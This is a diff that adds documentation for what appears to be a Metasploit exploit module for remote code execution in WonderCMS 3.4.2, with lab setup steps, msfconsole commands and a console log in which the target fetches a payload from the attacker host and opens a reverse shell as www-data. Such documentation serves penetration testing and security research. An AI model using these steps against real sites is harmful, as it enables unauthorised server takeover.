Adding documentation

Author: msutovsky-r7

documentation/modules/exploit/multi/http/wondercms_rce.md

@@ -1,40 +1,55 @@
 ## Vulnerable Application
 
-Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
-files, as well as instructions on installing/configuring the environment if it is different than a
-standard install. Much of this will come from the PR, and can be copy/pasted.
+[WonderCMS](https://www.wondercms.com/) is a free and open-source Content Management System (CMS). The main advantage is that only one PHP file controls the whole management. Follow next steps to install application:
+
+1. Install Apache2 and PHP on server
+2. Download WonderCMS from [here](https://github.com/WonderCMS/wondercms/releases/download/3.4.2/wondercms-342.zip)
+3. Enable Apache2 Rewrite Engine: `sudo a2enmod rewrite`
+
 
 ## Verification Steps
-Example steps in this format (is also in the PR):
 
 1. Install the application
-1. Start msfconsole
-1. Do: `use [module path]`
-1. Do: `run`
-1. You should get a shell.
+2. Start msfconsole
+3. Do: `use multi/http/wondercms_rce`
+4. Do: `set PASSWORD [password]'
+5. Do: `set LHOST [attacker IP]`
+6. Do: `set LPORT [attacker PORT]`
+4. Do: `run`
+5. You should get a shell.
 
 ## Options
-List each option and how to use it.
 
-### Option Name
+### PASSWORD
 
-Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
+WonderCMS generates one global password that gets generated upon first run of application. This is global admin password that controls the whole CMS. This password has to be used in the exploit to get authenticated access.
 
 ## Scenarios
-Specific demo of using the module that might be useful in a real world scenario.
-
-### Version and OS
 
 ```
-code or console output
+msf6 exploit(multi/http/wondercms_rce) > set LHOST 192.168.168.152
+LHOST => 192.168.168.152
+msf6 exploit(multi/http/wondercms_rce) > set LPORT 4444
+LPORT => 4444
+msf6 exploit(multi/http/wondercms_rce) > exploit
+[*] Exploit running as background job 28.
+[*] Exploit completed, but no session was created.
+msf6 exploit(multi/http/wondercms_rce) > 
+[*] Started reverse TCP handler on 192.168.168.152:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Target is probably WonderCMS..
+[+] The target is vulnerable. Version 3.4.2 is affected
+[*] Using URL: http://192.168.168.152:8082/81k4.zip
+[*] Received request, sending payload..
+[*] Server stopped.
+[*] Command shell session 5 opened (192.168.168.152:4444 -> 192.168.168.146:37068) at 2025-04-25 14:46:20 +0200
+
+msf6 exploit(multi/http/wondercms_rce) > sessions 5
+[*] Starting interaction with 5...
+
+whoami
+www-data
+id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
 ```
 
-For example:
-
-To do this specific thing, here's how you do it:
-
-```
-msf > use module_name
-msf auxiliary(module_name) > set POWERLEVEL >9000
-msf auxiliary(module_name) > exploit
-```